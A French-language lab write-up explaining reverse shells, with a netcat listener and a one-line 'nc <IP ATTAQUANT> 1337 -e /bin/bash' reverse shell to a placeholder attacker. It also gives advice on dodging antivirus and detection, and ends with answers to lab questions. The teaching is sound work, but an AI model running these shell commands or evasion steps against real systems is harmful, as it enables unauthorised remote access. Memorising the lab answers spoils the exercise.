rotate-reverseReverse Shells

📖 DĂ©finition

Un reverse shell (ou shell inversĂ©) est un type de connexion oĂč la cible (machine compromise) initie une connexion vers l'attaquant, plutĂŽt que l'inverse. Dans ce scĂ©nario, l'attaquant dĂ©marre un "listener" sur sa machine, en attente de connexions entrantes, tandis que la cible Ă©tablit la connexion et lui fournit un accĂšs en ligne de commande.

Contrairement aux bind shells, les reverse shells sont souvent plus réalistes en environnement réel, car les pare-feux sont en général plus permissifs sur les connexions sortantes.


🎯 Exemple typique

  • Attaquant : <IP ATTAQUANT>

  • Cible : <IP CIBLE>

  • Port d'Ă©coute : 1337

Sur l'attaquant :

nc -lvnp 1337

Sur la cible (reverse vers l'attaquant) :

nc <IP ATTAQUANT> 1337 -e /bin/bash

Ici, la cible contacte l'attaquant, en lui offrant un shell. L'attaquant devient alors le "serveur", et la cible le "client".


🔐 Pourquoi utiliser un Reverse Shell ?

  • 🔄 Contournement des pare-feux : les connexions sortantes sont rarement filtrĂ©es.

  • đŸ•”ïž Moins de suspicion : les connexions vers l'extĂ©rieur sont moins surveillĂ©es.

  • đŸ§± Bind shell difficile Ă  mettre en place** : les ports entrants peuvent ĂȘtre bloquĂ©s par dĂ©faut.

Un reverse shell est souvent exploité aprÚs une vulnérabilité de type upload de fichier malveillant, injection de commande, ou autre.


🛠 Outils et ressources utiles

Pas besoin de tout réécrire à chaque fois :

⚠ Attention : les dĂ©fenseurs connaissent ces outils publics et adaptent souvent leurs systĂšmes de dĂ©tection en consĂ©quence. Il peut ĂȘtre nĂ©cessaire de personnaliser son payload.


đŸ’» Cas pratique : Reverse Shell sur Windows avec PowerShell

1. Écoute cĂŽtĂ© attaquant (port commun)

Le port 443 est souvent utilisé pour du HTTPS, ce qui le rend peu suspect dans le trafic sortant. Cela permet de contourner certains firewalls basiques.

2. Payload PowerShell à exécuter sur la cible

Ce code PowerShell permet à la cible d'établir une connexion à l'attaquant, avec une interface en ligne de commande.

3. Blocage par l'antivirus

Lors de l'exécution du script, Windows Defender peut le bloquer automatiquement :

4. Contournement (pour les tests uniquement)

Désactiver temporairement l'antivirus :

Une fois la protection en temps rĂ©el dĂ©sactivĂ©e, le script PowerShell peut ĂȘtre relancĂ© pour Ă©tablir la connexion.

5. Shell reçu cÎté attaquant


🧠 Points de vigilance

  • ❌ Netcat non prĂ©sent nativement sur Windows : obligation de transfĂ©rer un binaire.

  • 🔍 PrĂ©fĂ©rer les outils natifs (Living off the Land) : PowerShell, certutil, etc.

  • 🛡 AV et EDR : peuvent bloquer les scripts connus, mĂȘme sur des ports "sĂ»rs" comme 443.


📚 Ressources utiles


✅ À retenir

  • Un reverse shell permet Ă  l'attaquant de recevoir une connexion de la cible.

  • Il est souvent plus efficace en environnement rĂ©el car il contourne les limitations rĂ©seau classiques.

  • Il existe de nombreux outils pour gĂ©nĂ©rer ou personnaliser des reverse shells.

  • Sur Windows, PowerShell est un outil redoutable pour cette tĂąche.

  • Les protections comme l'antivirus ou l'EDR peuvent nĂ©cessiter des contournements avancĂ©s.


When establishing a reverse shell session with a target, will the target act as a client or server?

Lors de la connexion d'un reverse shell sur notre cible, cette derniÚre sera considérée comme client.


Connect to the target via RDP and establish a reverse shell session with your attack box then submit the hostname of the target box.

Dans un premier temps, nous utilisons le site revshells.comarrow-up-right afin de générer un reverse shell powershell pour pouvoir l'executer par la suite sur notre cible pour effectuer une connexion à distance :

Nous intégrons ce script dans le fichier script.ps1.

circle-info

Ici, l'adresse cible configurée est celle de notre poste attaquant et notre post cible est le port 4444

Une fois le ficher créé, nous avons lancé un serveur web à l'emplacement de notre fichier script.ps1 :

Une fois ce serveur lancé, nous mettons en écoute le port présent dans notre script powershell (4444) :

Une fois le port mis en écoute, nous nous connectons en RDP à notre cible à l'aide des identifiants fournis dans l'énoncé :

Une fois connectés à notre cible, nous ouvrons PowerShell, récupérons le fichier script.ps1 présent sur notre poste attaquant et nous l'exécutons afin d'établir une connexion via le reverse shell configuré sur le port d'écoute 4444 :

Une fois le script téléchargé et exécuté, nous pouvons observer sur notre poste attaquant la connexion effective de notre cible sur le port 4444 via notre reverse shell :

Une fois la connexion réalisée, nous récupérons le nom de la machine afin de répondre à la question :

Le nom associé à notre cible est donc Shells-Win10.


Last updated